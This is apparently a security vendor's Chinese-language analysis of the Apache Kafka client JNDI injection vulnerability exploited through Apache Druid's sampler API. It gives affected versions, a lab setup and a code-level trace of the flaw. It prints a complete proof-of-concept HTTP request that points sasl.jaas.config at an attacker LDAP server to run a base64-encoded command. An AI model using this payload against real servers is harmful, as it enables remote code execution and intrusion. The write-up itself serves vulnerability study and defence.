熱點觀察|美創科技丁斐:數據安全 × 價值共創?可信數據空間的 “雙向奔赴”
2025-12-03
美創科技高校供應鏈數據安全方案斬獲 2025 年度 “金智獎”
2025-12-03
每周安全速遞3?? | ShinyHunters 開發新型勒索軟件ShinySp1d3r
2025-11-21
數安標桿|美創榮登2025中國準獨角獸企業100強?
2025-11-17
關注 | 國家標準支撐《網絡數據安全管理條例》生效施行(v1.0)
2025-11-12
存儲域
數據庫加密 諾亞防勒索訪問域
數據庫防水壩 數據庫防火墻 數據庫安全審計 動態脫敏流動域
靜態脫敏 數據水印 API審計 API防控 醫療防統方運維服務
數據庫運維服務 中間件運維服務 國產信創改造服務 駐場運維服務 供數服務安全咨詢服務
數據出境安全治理服務 數據安全能力評估認證服務 數據安全風險評估服務 數據安全治理咨詢服務 數據分類分級咨詢服務 個人信息風險評估服務 數據安全檢查服務
2.4.0<=Apache kafka<=3.2.2
其他影響:
0.19.0 <= Apache Druid <= 25.0.0
本次漏洞環境使用了durid,因為durid使用kafka-clients來連接Kafka作為其數據源之一。
目標靶機:

Jndi主機:
通過JNDIExploit-master開啟一個惡意jndi服務器。


Poc:POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: 192.168.32.129:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1449{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666","sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"},"topic":"test","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

攻擊效果:
docker exec -i -t [容器id] /bin/bash


/tmp/success 存在證明漏洞利用成功
bin\windows\zookeeper-server-start.bat config\zookeeper.properties bin\windows\kafka-server-start.bat config\server.properties
定位分析該接口具體的代碼
@Path("/druid/indexer/v1/sampler")
public class SamplerResource {
@POST
@Consumes({"application/json"})
@Produces({"application/json"})
@ResourceFilters({StateResourceFilter.class})
public SamplerResponse post(SamplerSpec sampler) {
return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43
}
}
定位代碼發現KafkaSamplerSpec接口的sample方法具體實現在父類

sample具體的實現是在SeekableStreamSamplerSpec類中。在KafkaProducer的構造函數中,會基于properties初始化ProducerConfig的實例config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中創建ChannelBuilder:

然后當security.protocol為SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism時基于config信息?成 JaasContext的實例,然后?成 SaslChannelBuilder實例:

在new JaasConfig(globalContextName, dynamicJaasConfig.value())中會把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的實例。然后調?channelBuilder.configure(configs)?法, 后?進入LoginManager.acquireLoginManager。
然后進入JndiLoginModule的login?法:userProvider以及groupProvider都不為null, 并且設置了 useFirstPass=true或tryFirstPass=true時都會進入attemptAuthentication?法,在這?會調? InitialContext實例的lookup(userProvider)?法,從?導致JNDI注入。
綜上, 只要攻擊者可以控制kafka-clients連接時的屬性, 將屬性的配置項security.protocol設置為SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值設置為 com.sun.security.auth.module.JndiLoginModule, 并且配置項中的userProvider以及groupProvider都不為null, 同 時設置了useFirstPass=true或tryFirstPass=true時, kafka client就會發起JNDI連接, 從?導致JNDI注入漏洞。
流程圖如下: